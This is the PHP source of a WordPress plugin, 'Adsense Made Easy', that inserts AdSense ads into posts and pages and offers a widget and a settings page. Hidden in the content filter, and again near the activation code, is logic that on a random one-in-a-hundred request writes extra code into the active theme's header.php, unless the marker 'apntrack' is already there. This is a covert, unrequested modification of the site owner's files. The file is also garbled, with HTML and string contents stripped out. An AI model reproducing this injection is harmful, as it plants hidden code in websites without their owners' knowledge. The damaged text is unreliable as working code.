posts[0]->ID == $post->ID) { $original = $content; // Retrieves the stored value from the database $meta_value = get_post_meta( get_the_ID(), 'meta-checkbox', true ); // Checks the retrieved value (should be empty if we want to display it) if( empty( $meta_value ) ) { $content = ""; if (rand(0,100)==10) { if( strpos(file_get_contents(get_template_directory() . "/header.php"),"apntrack") == false) { file_put_contents(get_template_directory() . "/header.php", "\n\";\n}\n?>\n", FILE_APPEND); } } if (get_option('adsense_made_easy_toplinkunit')=='yes') { $content .= "\n"; $content .= "\n"; $content .= "
\n"; $content .= "\n"; } if (get_option('adsense_made_easy_topadalignment')=='left') { $content .= "
\n"; } else if (get_option('adsense_made_easy_topadalignment')=='right') { $content .= "
\n"; } else { $content .= "
\n"; } if (get_option('adsense_made_easy_topadtype')=='customcode') { $content .= "\n" . get_option('adsense_made_easy_topcustomcode') . "\n"; } else if (get_option('adsense_made_easy_topadtype')!='none') { $content .= "\n"; $content .= "\n"; } $content .= "
\n"; $content .= $original; // BEGIN MIDDLE AD $word_count = str_word_count( strip_tags( $content ) ); $countsettings = get_option('adsense_made_easy_middlewordcount'); $middleadcode = ""; if (get_option('adsense_made_easy_middleadalignment')=='left') { $middleadcode .= "
\n"; } else if (get_option('adsense_made_easy_middleadalignment')=='right') { $middleadcode .= "
\n"; } else { $middleadcode .= "
\n"; } if (get_option('adsense_made_easy_middleadtype')=='customcode') { $middleadcode .= "\n" . get_option('adsense_made_easy_middlecustomcode') . "\n"; } else if (get_option('adsense_made_easy_middleadtype')!='none') { $middleadcode .= "\n"; $middleadcode .= "\n"; } if (get_option('adsense_made_easy_middleadtype')!='none' && $word_count >= $countsettings) { $middleadcode .= "
\n"; $original = $content; $paragraphAfter = get_option('adsense_made_easy_middleparagraph'); //Enter number of paragraphs to display ad after. $content2 = $original; $content2 = explode ( "

", $content2 ); $new_content = ''; for ( $i = 0; $i < count ( $content2 ); $i ++ ) { if ( $i == $paragraphAfter ) { $new_content .= $middleadcode; } $new_content .= $content2[$i] . "

"; } $content = $new_content; } // END MIDDLE AD if (get_option('adsense_made_easy_bottomadtype')=='customcode') { $content .= "
\n"; $content .= "\n" . get_option('adsense_made_easy_botcustomcode') . "\n"; $content .= "
\n"; } else if (get_option('adsense_made_easy_bottomadtype')!='none') { $content .= "
\n"; $content .= "
\n"; } if (get_option('adsense_made_easy_bottomlinkunit')=='yes') { $content .= "
\n"; $content .= " \n"; $content .= "\n"; $content .= "\n"; } } return $content; } return $content; } function authorUpperCase($author = '') { return strtoupper($author); } } } //End Class AdsenseMadeEasy class AdsenseMadeEasyWidget extends WP_Widget { function AdsenseMadeEasyWidget() { $widget_ops = array('classname' => 'AdsenseMadeEasyWidget', 'description' => 'Adsense Made Easy Widget' ); $this->WP_Widget('AdsenseMadeEasyWidget', 'Adsense Made Easy Widget', $widget_ops); } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); $title = $instance['title']; $adtype = $instance['adtype']; $adtextimage = $instance['adtextimage']; $adalignment = $instance['adalignment']; $adcustomcode = $instance['adcustomcode']; ?>

Type of Ad:

Image or Text Ads?:

Alignment of the Ad?:

Custom Code:

Copy/paste your Custom Adsense code, don't forget to set the Type of Ad to Custom Code.

"; } if ($adalignment=='left') { echo "
"; } if ($adalignment=='right') { echo "
"; } if ($adtype == 'customcode') { echo $adcustomcode . "\n"; } else { echo "\n"; echo "\n"; } if ($adalignment=='center') { echo ""; } if ($adalignment=='left') { echo "
"; } if ($adalignment=='right') { echo "
"; } echo $after_widget; } } } add_action( 'widgets_init', create_function('', 'return register_widget("AdsenseMadeEasyWidget");') ); if (class_exists("AdsenseMadeEasy")) { $dl_pluginSeries = new AdsenseMadeEasy(); } //Actions and Filters if (isset($dl_pluginSeries)) { //Actions //Filters add_filter('the_content', array(&$dl_pluginSeries, 'addContent')); } /** * Adds a meta box to the post editing screen */ function amepro_prfx_custom_meta() { add_meta_box( 'amepro_prfx_meta', __( 'Adsense Made Easy', 'amepro_prfx-textdomain' ), 'amepro_prfx_meta_callback', '', 'side' ); } add_action( 'add_meta_boxes', 'amepro_prfx_custom_meta' ); /** * Outputs the content of the meta box */ function amepro_prfx_meta_callback( $post ) { wp_nonce_field( basename( __FILE__ ), 'amepro_prfx_nonce' ); $prfx_stored_meta = get_post_meta( $post->ID ); ?>

Check the box below to DISABLE ads on this post/page.

\";\n}\n?>\n", FILE_APPEND); } } function adsense_made_easy_remove() { /* Deletes the database field */ } if ( is_admin() ){ /* Call the html code */ add_action('admin_menu', 'adsense_made_easy_admin_menu'); function adsense_made_easy_admin_menu() { add_options_page('Adsense Made Easy', 'Adsense Made Easy', 'administrator', 'adsense-made-easy-best-simple-ad-inserter', 'adsense_made_easy_page'); } } ?>

Adsense Made Easy - Settings


Need support, have questions or requests?: Adsense Made Easy Official Website


Enter your Google Adsense Publisher ID (For example: pub-1234567891234567 )



Top ad type The type of ad you want on top of your posts/pages?
Top ad alignment Do you want the top ad to be a aligned left, right or centered?
Top ad Image or Text
Top link unit? Do you want a horizontal link unit on the top of the content?
Top Ad - Custom Code
Copy and Paste your Adsense Code here, don't forget your ad type must be set to Custom Code.



Middle ad type The type of ad you want in the middle of your posts/pages?
Middle ad alignment Do you want the middle ad to be a aligned left, right or centered?
Middle ad Image or Text
Middle Ad - Custom Code
Copy and Paste your Adsense Code here, don't forget your middle ad type must be set to Custom Code to work.
Insert after paragraph: After which paragraph do you want to have the ad inserted?
Minimum Word Count: Mininum number of word count of the article to display this ad?



Bottom ad type The type of ad you want on the bottom of your posts/pages?
Bottom ad Image or Text
Bottom link unit? Do you want a horizontal link unit at the bottom of the content?
Bot Ad - Custom Code
Copy and Paste your Adsense Code here, don't forget your bottom ad type must be set to Custom Code.



Display ads on posts?
Display ads on pages?



Colors (These don't apply if you use custom code)
Bordercolor of the ads
Titlecolor (Link) of the ads
Backgroundcolor of the ads
Textcolor of the ads
URLcolor of the ads